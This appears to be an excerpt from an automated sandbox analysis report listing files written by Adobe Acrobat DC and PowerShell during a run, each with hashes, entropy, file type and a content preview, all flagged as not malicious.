Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.244785010809025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJf+dPeUkwRe9:YvXKXFfG83YpW7/G28Ukee9
MD5:	844EBB1AFF7322A42F12E29F459344C0
SHA1:	970B9EE740F703F6EC8F26232A37687F4A2C759F
SHA-256:	8E9580025AA77C58DD1BAEF340627507FE5D7A43CAA0709F02919296A96E6EF4
SHA-512:	4F91C6F7E46315DBB7461D4A936E879820C6315B1B9386BCA16A57E3262FC53F149546EA874C2CBD9439C623209CD9B3C97E4C02779D38EF9F745CE8ED382B33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.242445951099993
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJfbPtdPeUkwRe9:YvXKXFfG83YpW7/GDV8Ukee9
MD5:	1784F0B1C052451EAECFAD23C8259FD5
SHA1:	7C77F62C4879C93925176864512ABBFB501D9AE0
SHA-256:	2527B6751078E1BDBB80A9F99B41E7B4F7C04990A596DC0BF56D0A2A4134715B
SHA-512:	23474E031AFFF1368247C1199BE53AB1B2BA080A947392AEDBF64F3F18E54725528D8955F6BAECF4BAE9732630A71184019F53DFE1C0CCA81634E0C277833CB9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.243231951492482
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJf21rPeUkwRe9:YvXKXFfG83YpW7/G+16Ukee9
MD5:	1DE7CD88EDC8264B5230320E5EE9FEB2
SHA1:	23BD7E1206D1F30EE909E56C88BE01F626534A8C
SHA-256:	F0E81DF6276FD0A7E22116D4315580BBC212B1A9FD3BB785C7CEFC8890FC6060
SHA-512:	0525BA94DF826F3B0A0EF49BF37C42DF8130B2AF58450A837467441E40675F2A971594E66F702138A94C57886B318453DD4905106F929EBD0D63667EBE880788
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.654631069046332
Encrypted:	false
SSDEEP:	24:Yv6XBWiAamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSc:YvchGBgkDMUJUAh8cvMc
MD5:	6DC3A0CC2C8899730D5B4B8D7598DA18
SHA1:	0AB3B0FFAC295A53510D1BE5E41C4F832089CB6A
SHA-256:	93CDF3CD0A324018718AC87E945726A4B5680DFF1BBE026EFA765BB8F07C9316
SHA-512:	C85A35D1522C483D2DC78531CA0CB55F1117B0A82117D887889D500E4142FD409B772FF367F6F4EDD00205AD47A6E3383AB16FA4C7CA36C9E99E3976CB6B20AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.218561842923098
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJfshHHrPeUkwRe9:YvXKXFfG83YpW7/GUUUkee9
MD5:	B19CB2C69C08DC3C8D526EB20DB17432
SHA1:	A7229436E98A63C7C439F28DE9439755FC410FC2
SHA-256:	B83B23137492880C4A100D0C146D4B8CD2D9C7091F3B1AC204E4DC339F043CA6
SHA-512:	0D3BBD9A907E816AAE0C4B161585F1B4BB3A4DDB7B0980E1C0D454FE0F81A56ACBAD6CC934076AA150073BA4990EFA780288599706C395F2978678C5DD382D6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.226872221167344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJTqgFCrPeUkwRe9:YvXKXFfG83YpW7/GTq16Ukee9
MD5:	1BEDF748A8A354B54031F3251173F6D1
SHA1:	0DF837D25629C4FD15FA443450A75F8516D8A348
SHA-256:	16392D193D2B0C8F065D83A70CD84EF236484EEC19DAD047BC9694D21FC2D77E
SHA-512:	2497EB0FCA80623CDFFF7951A8DCE428062E5114B9594548A737B130A91E0E0BE56BA981837FAF373EC670655BEDC5B690CCFFEBAF24E29640B953FF1B550EB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1476793494565465
Encrypted:	false
SSDEEP:	24:YoaWar3ayDYV8UZD6yXGaK0ujZxj0SGyFZCm2vUAR2LS4CNRja3GF5z964duklFj:YXCh16yWV3Z1P94UARCuRW3A99F
MD5:	426A7099F5CA1D1359119F6589C17CAE
SHA1:	223EFA296312D039D151A734DCD49BFA892EB10A
SHA-256:	609F29CE5BEC0A29507D2E95722F5B8CF598129FB6F7BE726CFAC77AC063BAB4
SHA-512:	DA040C13F0E5A141C9C9392B4DC13C4247CB298DAAC6BFB103AA7D1508851447C678D450BF0AB7B25B2378E39478BDB8B6C512CF5A723E28796438A3B4160397
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c269d65543a3132e00d7fc931672de66","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736582474000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"163695b53a7f3febf8cc950b678099d5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736582474000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ad1cced4a320529afef397c8c25b64b1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736582474000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f4d8f06047f90b3ea78021cbca43b482","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736582474000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f537ef86cc9392e15318c890595d3345","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736582474000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5471f4f2149c8c8d9c41ac2a5c2e545b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9867334362177356
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpcW4zJwtNBwtNbRZ6bRZ4PWF:TVl2GL7ms6ggOVpEzutYtp6Pj
MD5:	7F25B3D86EAEC9D2FBA2C089D7FE44B6
SHA1:	D54AF189BB3AF72A7145996BDCC721EBF47A7B80
SHA-256:	BD71C798D70D5895D2024EEE0439E4D59EF49E0E44CC69FD73A10027F907D898
SHA-512:	A88C45879B81E6C7BD75DECBD231664CB7B073F90A86E093E0E63C3D1C0A76FD5C11689BFB472D6C065B6FA99AA53A7862CCE607AB17226B053CA0A2B1B788CC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3398093553607557
Encrypted:	false
SSDEEP:	24:7+t8AD1RZKHs/Ds/SpcWPzJwtNBwtNbRZ6bRZWf1RZKKqLBx/XYKQvGJF7urs9:7M8GgOVp7zutYtp6PMPqll2GL7ms9
MD5:	2858DE124C4E55918FFF9C23607D883B
SHA1:	ED1002EB47B00557DE130D5C3500F16041283FEF
SHA-256:	7D7D934A8523864B3DED28D3F3BEDBA81563EBD179690A15D4638AB6E7A3A203
SHA-512:	8F2EF2BBAFA833E2C5800EF41554ADBADA60A9C6800F779718F68C85B279040FE3193ED48151E8E06D54388CA720582BC6FCBADBB16DDAD36C9A87D725C87AB8
Malicious:	false
Preview:	.... .c.......`.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg6QGYLZa2F0zyzZDBh0gmj5ydYyu:6a6TZ44ADE6QGMaa0mzpBLK
MD5:	C26BE82E51B5416252B56979A6981726
SHA1:	CF5C74E17F769524D520757AAD9B0C6BD1080077
SHA-256:	46F7E5A7F13EDCA67171A36323D368899DE76C865C27EA2C861361067B5E3C61
SHA-512:	FEB52FCBDC62A2ECF1B0B5F40934C95313CCB6C3242F4A61517D9B52F8FB54A67B63930CD54C7EC21E9B93EB4351F54EED1B96F36E89580E13C20DBC16C44705
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI8f7f0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+0lgYle:Qw946cPbiOxDlbYnuRKdh0Xw
MD5:	E89ECB9264051DDA21F7272734CD16D6
SHA1:	DD6394E71A38F817EFBA7D256A2BCDCC7BDDB3CF
SHA-256:	07A14AD29514D162991AB3791F978B079765EABA1D0FD6ACE2DF1B2FD377A837
SHA-512:	D4D5D71DBFDF2A997209204F8882E05204BEC15CEAE9E8FF10BCB32698B1431FFF1F35778E2E563DA7268F89882C39D5CC363257C1FB2DB15C6569030261CA84
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.0.1.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mnwif5t1.gtu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_phfplkrr.y3a.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-01-10-550.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.304215402557971
Encrypted:	false
SSDEEP:	384:rXJqxXgh1Ipua5QvaHXmqPJW61ode/aEVyq+IMoEPLlpTmMKTKTK+KZIKJK4KJKw:tn3
MD5:	4B0F0CAAB377BF10AB3CB3835B408A61
SHA1:	ECE51541FCA897E42DD20C6C8571B3CBDC6D3B02
SHA-256:	139044499F7F40CBA8E43B85E5A4EC5CD8684936E9CBD7D49FFAA7565124E3B9
SHA-512:	74A2E496B8140C4C0EFFF18448CF396865362BB7E08BEF2F8250AC6431AE5B24FC41384B7FF9B4E1060D0FE0B965D96649CA0EECFBA589C1C2FCD5624F409EFE
Malicious:	false
Preview:	SessionID=808da421-646a-460e-8c03-a67fe242a302.1736582470565 Timestamp=2025-01-11T03:01:10:565-0500 ThreadID=7436 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=808da421-646a-460e-8c03-a67fe242a302.1736582470565 Timestamp=2025-01-11T03:01:10:566-0500 ThreadID=7436 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=808da421-646a-460e-8c03-a67fe242a302.1736582470565 Timestamp=2025-01-11T03:01:10:566-0500 ThreadID=7436 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=808da421-646a-460e-8c03-a67fe242a302.1736582470565 Timestamp=2025-01-11T03:01:10:566-0500 ThreadID=7436 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=808da421-646a-460e-8c03-a67fe242a302.1736582470565 Timestamp=2025-01-11T03:01:10:566-0500 ThreadID=7436 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392161053823736
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbo:8
MD5:	6B4F2E073BCC51B58479B75250798E9E
SHA1:	2A5DFCEEE6A8BEE01DC38EE23F9BE3ECDD91912B
SHA-256:	70EE2A5ACC167D356FF33AA0B862A4F9A6C716073FE9DCCC9C29EB052D22AAED
SHA-512:	B0F30D2C931A93D1DA28C765589DA1DB0D0D36F1981D0B1DBC97FF3FA647A33B90F74CD5CE94E8C070A727F7F6C5CFD3B0B8003D17600FAAE15FE3345CCB874E
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0548f611-234a-4647-951c-3146c9d6fe78.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 12108
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U8:O3Pjegf121YS8lkipdjMMNB1DofjgJJ4
MD5:	FC042E4E13A78A5882E5AD1170517E3C
SHA1:	69F0A171DCB6DCDD14128253D7DB5ED418B5CAF4
SHA-256:	6D0915EDF0AACCCEC40D49036362974AC4B678749CC6D2BFC11FFED2B2E618B8
SHA-512:	B43B3A4388B7B0D0C705AD70CFBD6DABF593499FC45AC589E2388C47F699EB35E942521BA64E57A0DE0031DC23C4EE17EA83FB0221C00CE0B075A44CD37C6C62
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4cb97f47-aeec-4004-b0f9-552c1184cfac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLgGZtwYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVuWLgGZtwZGV3mlind9i4ufFXpAXkrj
MD5:	D18BFDF5A908897850DC35ADE461DA4F
SHA1:	AC6AA5976E18C4FD00C90C35DD2C6966820F7610
SHA-256:	7A0DB3CF9A055CCF0922283A33E772088B0D30D541E5AC7B1FB567AA490081C0
SHA-512:	201D4E21876181BF66364C307ABE99F1A9FD6FF0925E6F17148F765E1024673FC9939C2CC6A6149C25B0EC8DAA06BEE561C712A2C3C865C0889EAC88D45A4E4B
Malicious:	false
